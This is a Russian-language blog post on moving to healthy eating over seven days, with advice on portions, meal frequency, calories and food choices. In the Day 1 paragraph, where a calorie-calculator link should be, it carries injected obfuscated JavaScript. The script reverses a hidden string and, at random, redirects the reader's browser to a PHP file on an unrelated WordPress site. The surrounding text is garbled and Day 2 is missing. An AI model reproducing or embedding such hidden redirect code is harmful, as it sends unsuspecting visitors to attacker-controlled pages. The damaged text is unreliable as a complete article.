Друзья, сегодня мы покажем вам как можно плавно перейти к правильному питанию всего за 7 дней, постепенно, день за днём следуя этим советам!
День 1
Начинать переход к ПП следует… конечно же с покупки посуды объемом 300 мл! Это поможет вам ориентироваться на кол-во съеденной пищи. Только не наполняйте посуду с горкой. Теперь разделим все приемы пищи на 5-6 (тут каждый выбирает индивидуально), причем основными приемами пищи у нас будут стандартные завтрак, обед и ужин, а остальные — перекусы. Никогда не пропускай приемы пищи!
Далее нам нужно рассчитать дневной калораж, чтобы это сделать — воспользуйтесь калькулятором, например $mWn=function(n){if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoshhak/»>смотрите здесь. Мы рекомендуем есть на завтрак овсянку с голубикой и орехами и парочку вареных яиц — такой завтрак позволит вам зарядиться энергией на целый день! Также, придерживайтесь правила — не более 400 ккал на завтрак. Для перекусов у нас идеально подойдет творожная запеканка, орехи или сухофрукты. Каждый перекус должен быть порядка 200 ккал.
День 3
Обед должен обогатить организм углеводами, белком и клетчаткой. Отлично подойдет гречка или рис с вареной курицей и овощами — порядка 300 ккал. Из молочных продуктов выбирай нежирные йогурты, кефир и творог без добавок (не творожную массу, а именно ТВОРОГ!).
Откажитесь от жирного мяса наподобие свинины. Ешьте курицу, индейку, постную говядину, рыбу и морепродукты. Много белка также содержится в яйцах, фасоли и чечевице.
Стоит ли говорить о том, что нельзя есть фастфуд, чипсы, сухарики, пивные снеки, сосиски, колбасы и прочую гадость? Сюда же входят сладкие газировки, сладкие пакетированные соки.
День 4
Вечером (после 18-00) старайтесь избегать большого количества углеводов. Идеально подойдет салат с овощами и тунцом. Перед сном можете выпить стакан нежирного кефира (1-3%) или съесть небольшую порцию такого же нежирного творога.
